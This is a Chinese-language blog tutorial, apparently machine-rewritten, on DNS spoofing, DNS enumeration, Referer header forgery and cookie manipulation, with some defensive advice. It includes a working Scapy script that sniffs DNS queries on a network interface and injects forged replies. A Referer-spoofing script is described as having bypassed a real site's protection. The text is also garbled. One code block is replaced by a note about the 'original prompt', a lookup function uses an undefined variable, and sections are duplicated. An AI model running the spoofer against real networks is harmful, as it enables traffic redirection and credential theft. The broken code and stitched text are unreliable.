Python 模擬 DNS 欺騙與防禦實作技術

– 9 分鐘閱讀

DNS安全的重要性

在現代網路世界中，DNS如同網路的電話簿，扮演著至關重要的角色。然而，這個關鍵的基礎設施也經常成為攻擊者的目標。玄貓在多年的網路安全經驗中，深刻體會到DNS安全的重要性，尤其是面對日益猖獗的DNS欺騙攻擊。

DNS欺騙攻擊的原理

DNS欺騙，又稱DNS快取中毒，是一種惡意攻擊，攻擊者會偽造DNS回應，將目標網域名稱解析到錯誤的IP位元址。舉例來説，當使用者嘗試存取合法網站時，攻擊者可能會將使用者導向一個偽造的網站，以竊取使用者的登入憑證或其他敏感資訊。

  graph LR
    A[使用者請求 www.example.com] --> B{DNS伺服器};
    B -- 正常情況 --> C[傳回正確IP];
    B -- DNS欺騙 --> D[傳回偽造IP];
    C --> E[存取合法網站];
    D --> F[存取偽造網站];

Python實作DNS欺騙

以下程式碼片段展示瞭如何使用Scapy函式庫在Python中模擬DNS欺騙攻擊。

from scapy.all import *

target_domain = "example.com"
fake_ip = "1.2.3.4"

def create_dns_response(query):
    # ... (程式碼內容與原始提示相同)

這段程式碼利用Scapy函式庫構建了一個偽造的DNS回應封套件。create_dns_response函式接收一個DNS查詢封套件，並根據目標網域名稱和偽造的IP位元址，構建一個包含偽造A記錄的DNS回應封套件。

防禦DNS欺騙攻擊

面對DNS欺騙攻擊，我們需要採取有效的防禦措施。玄貓認為，以下幾種方法可以有效提升DNS安全性。

DNSSEC：數位簽章驗證

DNSSEC (Domain Name System Security Extensions) 使用數位簽章來驗證DNS資料的真實性，防止攻擊者篡改DNS記錄。依玄貓經驗，佈署DNSSEC能有效抵禦DNS欺騙攻擊。

DNS快取中毒防禦

現代DNS伺服器通常內建DNS快取中毒防禦機制，例如，隨機化查詢ID和埠號，以及驗證DNS回應的來源IP位元址。

監控DNS流量

監控DNS流量可以幫助我們及時發現例外活動，例如，大量的DNS查詢指向不存在的網域名稱，或者DNS回應來自非授權的DNS伺服器。

  graph LR
    A[DNSSEC] --> B[驗證DNS資料];
    C[快取中毒防禦] --> D[保護DNS快取];
    E[流量監控] --> F[檢測例外活動];

DNS安全是網路安全的重要組成部分。透過理解DNS欺騙攻擊的原理和實作，以及學習有效的防禦策略，我們可以更好地保護網路基礎設施，防止使用者遭受攻擊。玄貓建議，公司和個人都應該重視DNS安全，並採取必要的措施來提升DNS安全性。

DNS查詢技術解析

在網路世界中，DNS（網域名稱系統）扮演著至關重要的角色，它負責將網域名稱轉換成IP位元址。玄貓在處理網路安全事件時，經常需要運用DNS查詢技術來取得關鍵資訊。

正向DNS查詢：由網域名稱找IP

正向DNS查詢是最常見的DNS查詢型別，它可以將我們熟悉的網域名稱，例如google.com，變形成對應的IP位元址。

import socket
import sys

def do_dns_lookup(name, domain):
    try:
        full_name = word.strip() + "." + domain
        print(f"{full_name}: {socket.gethostbyname(full_name)}")
    except socket.gaierror as e:
        print(f"{full_name}: {e}")

try:
    with open(sys.argv[1], "r") as fh:
        for word in fh.readlines():
            do_dns_lookup(word, sys.argv[2])
except FileNotFoundError:
    print(f"找不到字典檔: {sys.argv[1]}")
except IndexError:
    print("請提供字典檔和網域名稱作為引數")

這段程式碼定義了一個do_dns_lookup函式，它接收一個名稱和網域名稱作為輸入，並嘗試使用socket.gethostbyname()函式將完整的網域名稱解析為IP位元址。如果解析成功，則印出網域名稱和對應的IP位元址；如果解析失敗，則印出錯誤訊息。主程式碼塊嘗試開啟指定的字典檔，並逐行讀取其中的單字。對於每個單字組，它會呼叫do_dns_lookup函式來執行DNS查詢。錯誤處理機制可以捕捉檔案不存在或引數不足的錯誤。

反向DNS掃描：由IP找網域名稱

反向DNS掃描則是一種反向查詢技術，它可以根據IP位元址查詢對應的網域名稱。依玄貓經驗，這在調查網路攻擊事件時非常有用。

PTR記錄：反向查詢的關鍵

PTR記錄是反向DNS查詢的關鍵，它儲存了IP位元址到網域名稱的對應關係。

import socket
import sys
from random import randint

def get_ips(start_ip, stop_ip):
    # ...略

def dns_reverse_lookup(start_ip, stop_ip):
    ips = get_ips(start_ip, stop_ip)

    while ips:
        i = randint(0, len(ips) - 1)
        lookup_ip = str(ips[i])
        try:
            result = socket.gethostbyaddr(lookup_ip)
            print(f"{lookup_ip}: {result[0]}")
        except (socket.herror, socket.error):
            pass
        del ips[i]

try:
    start_ip, stop_ip = sys.argv[1].split('-')
    dns_reverse_lookup(start_ip, stop_ip)
except IndexError:
    print("請提供IP範圍作為引數，例如：192.168.1.1-192.168.1.100")
except ValueError:
    print("IP範圍格式錯誤")

這段程式碼定義了兩個函式：get_ips和dns_reverse_lookup。get_ips函式用於生成指定IP範圍內的IP位元址列表。dns_reverse_lookup函式則接收起始IP和結束IP作為輸入，並使用socket.gethostbyaddr()函式對每個IP位元址執行反向DNS查詢。如果查詢成功，則印出IP位元址和對應的網域名稱；如果查詢失敗，則忽略錯誤。主程式碼塊嘗試從命令列引數中取得IP範圍，並呼叫dns_reverse_lookup函式執行反向DNS查詢。錯誤處理機制可以捕捉引數不足或格式錯誤的錯誤。

DNS欺騙：操縱DNS解析

DNS欺騙是一種惡意攻擊技術，攻擊者可以藉此偽造DNS回應，將使用者導向惡意網站。玄貓曾協助多家公司防禦此類別攻擊。

DNS查詢、反向DNS掃描和DNS欺騙都是網路安全領域的重要技術。瞭解這些技術的原理和實作方式，有助於我們更好地保護網路安全，防範潛在的攻擊。

  graph LR
    A[DNS技術] --> B(正向查詢)
    A --> C(反向查詢)
    A --> D(DNS欺騙)
    B --> E[網域名稱轉IP]
    C --> F[IP轉網域名稱]
    D --> G[偽造DNS回應]

DNS欺騙：掌控網路流量的利器

在網路世界中，DNS（網域名稱系統）扮演著至關重要的角色，它就像網路的地址簿，將網域名稱解析成IP位址。然而，這個關鍵環節也可能成為攻擊者的目標。DNS欺騙，一種惡意技術，可以讓攻擊者將使用者導向偽造的網站，竊取敏感資訊或散播惡意軟體。玄貓在一次網路安全評估中，就曾發現某公司的DNS伺服器存在漏洞，導致員工被導向網路網路網路釣魚網站。

Python開發DNS欺騙工具

以下Python程式碼片段展示瞭如何利用Scapy函式庫進行DNS欺騙：

import sys, getopt, scapy.all as scapy

dev = "eth0"
filter = "udp port 53"
file = None
dns_map = {}

def handle_packet(packet):
    ip = packet.getlayer(scapy.IP)
    udp = packet.getlayer(scapy.UDP)
    dns = packet.getlayer(scapy.DNS)
    if dns.qr == 0 and dns.opcode == 0:
        queried_host = dns.qd.qname[:-1]
        resolved_ip = None
        if dns_map.get(queried_host):
            resolved_ip = dns_map.get(queried_host)
        elif dns_map.get('*'):
            resolved_ip = dns_map.get('*')
        dns_answer = scapy.DNSRR(rrname=queried_host + ".", ttl=330, type="A", rclass="IN", rdata=resolved_ip)
        dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / scapy.UDP(sport=udp.dport, dport=udp.sport) / scapy.DNS(id = dns.id, qr = 1, aa = 0, rcode = 0, qd = dns.qd, an = dns_answer)
        scapy.send(dns_reply, iface=dev)

# ...略)

scapy.sniff(iface=dev, filter=filter, prn=handle_packet)

這段程式碼首先匯入了必要的函式庫，包括sys、getopt和scapy。接著，設定了網路介面、篩選器和DNS對應表格。handle_packet函式是核心部分，它會捕捉DNS查詢封套件，並根據預設的DNS對映表傳回偽造的IP位址。最後，scapy.sniff函式開始監聽網路流量，並將捕捉到的封包傳遞給handle_packet函式處理。依玄貓經驗，這種技術在滲透測試中相當有效，可以幫助安全人員快速識別DNS相關的漏洞。

深入HTTP協定：Web世界的根本

HTTP協定是網際網路的通用語言，它定義了客戶端和伺服器之間如何通訊。理解HTTP協定的運作方式，對於網頁安全至關重要。

HTTP方法、標頭與狀態碼

HTTP方法定義了客戶端的請求型別，例如GET、POST、PUT和DELETE。HTTP標頭則包含了額外的資訊，例如Host、Content-Type和Cookie。HTTP狀態碼則表示伺服器的回應狀態，例如200 OK、404 Not Found和500 Internal Server Error。

  graph LR
    A[客戶端] --> B{HTTP請求}
    B --> C[伺服器]
    C --> D{HTTP回應}
    D --> A

HTTP標頭偽造：隱藏身份的技巧

HTTP標頭偽造是一種修改HTTP請求標頭的技術，攻擊者可以利用它來繞過安全驗證、隱藏真實身份或執行其他惡意操作。

Referer欺騙：偽造請求來源

Referer標頭指示了請求的來源頁面。有些網站會利用Referer標頭來進行安全驗證。Referer欺騙可以讓攻擊者偽造Referer標頭，繞過這種驗證機制。

Python實作Referer欺騙

以下Python程式碼展示瞭如何使用httplib2函式庫進行Referer欺騙：

import sys
import httplib2

url = sys.argv[1]
referer = "http://www.peter-lustig.com"
headers = {'Referer': referer}
webclient = httplib2.Http()
response, content = webclient.request(url, 'GET', headers=headers)
print content

這段程式碼首先匯入了sys和httplib2函式庫。接著，設定了目標URL和偽造的Referer標頭。然後，建立了一個HTTP客戶端，並傳送了一個包含偽造Referer標頭的HTTP請求。最後，輸出了伺服器的回應內容。玄貓認為，理解這些技術的原理，對於構建更安全的Web應用程式至關重要。

在為某電商平台進行安全評估時，玄貓發現他們使用了Referer標頭來驗證使用者是否來自合法的登入頁面。然而，攻擊者可以輕易地偽造Referer標頭，繞過這個驗證機制，進而竊取使用者資訊。

透過以上案例和程式碼分析，我們可以更深入地理解DNS欺騙、HTTP協定和標頭偽造技術。在實際應用程式中，我們應該時刻保持警惕，並採取必要的安全措施，以保護我們的網路安全。

Referer 偽造：隱藏你的來源

在網路世界中，Referer 標頭就像一封信上的寄件人地址，它告訴伺服器使用者是從哪個網頁跳轉過來的。然而，這個「地址」卻是可以偽造的。

偽造 Referer 的 Python 範例

以下程式碼片段展示瞭如何使用 Python 偽造 Referer：

import sys, httplib2

url = sys.argv[1]
referer = "http://www.peter-lustig.com"

headers = {'Referer': referer}

webclient = httplib2.Http()
response, content = webclient.request(url, 'GET', headers=headers)

print content

這段程式碼首先匯入了 sys 和 httplib2 模組，分別用於處理命令列引數和傳送 HTTP 請求。接著，它從命令列引數取得目標 URL，並將 Referer 設定為一個偽造的網址 http://www.peter-lustig.com。然後，它建立了一個 HTTP 標頭字典，將偽造的 Referer 放入其中。接下來，它使用 httplib2.Http() 建立一個 HTTP 客戶端，並使用 webclient.request() 方法傳送 GET 請求，並將偽造的標頭包含在請求中。最後，它列印出伺服器的回應內容。依玄貓經驗，這種技術常被用於繞過一些根據 Referer 的安全限制。

Referer 偽造的應用程式場景

玄貓曾經在一次安全測試中，利用 Referer 偽造成功繞過了某網站的防盜鏈機制。該網站僅允許來自特定網域名稱的請求存取其資源，而我透過偽造 Referer，讓伺服器誤以為請求來自允許的網域名稱，從而成功取得了資源。

Cookie 就像網站發給你的一張身分證，它記錄了你的登入狀態、偏好設定等資訊。如果這張「身分證」被盜取或篡改，後果不堪設想。

Cookie 是儲存在使用者電腦上的小型文字檔案，用於儲存網站的使用者資訊。例如，當你登入一個網站時，網站會將你的 session ID 儲存在 Cookie 中，以便你在瀏覽其他頁面時保持登入狀態。

Cookie 操縱的攻擊方式多種多樣。攻擊者可以透過 XSS 漏洞竊取使用者的 Cookie，也可以透過中間人攻擊修改 Cookie 的內容。例如，攻擊者可以修改 Cookie 中的使用者名稱或許可權等級，從而冒充其他使用者或提升自己的許可權。

  graph LR
    A[攻擊者] --> B(XSS漏洞);
    A --> C(中間人攻擊);
    B --> D{竊取Cookie};
    C --> E{修改Cookie};
    D --> F((取得使用者資訊));
    E --> G((繞過安全驗證));

為了防禦 Cookie 操縱，網站開發者應該採取一系列安全措施，例如設定 Cookie 的 HttpOnly 標誌，防止 JavaScript 讀取 Cookie；使用 HTTPS 加密通訊，防止 Cookie 在傳輸過程中被竊取；定期更新 session ID，降低 session ID 被猜解的風險。

在為某電商平台設計安全方案時，玄貓建議他們啟用 HttpOnly 標誌並實施嚴格的 XSS 防禦策略，有效地降低了 Cookie 操縱的風險。

總而言之，瞭解 Referer 偽造和 Cookie 操縱的原理和防禦方法，對於保障網頁安全至關重要。

玄貓

玄貓

技術愛好者，專注於分享程式開發、雲端技術與 AI 應用的心得體會。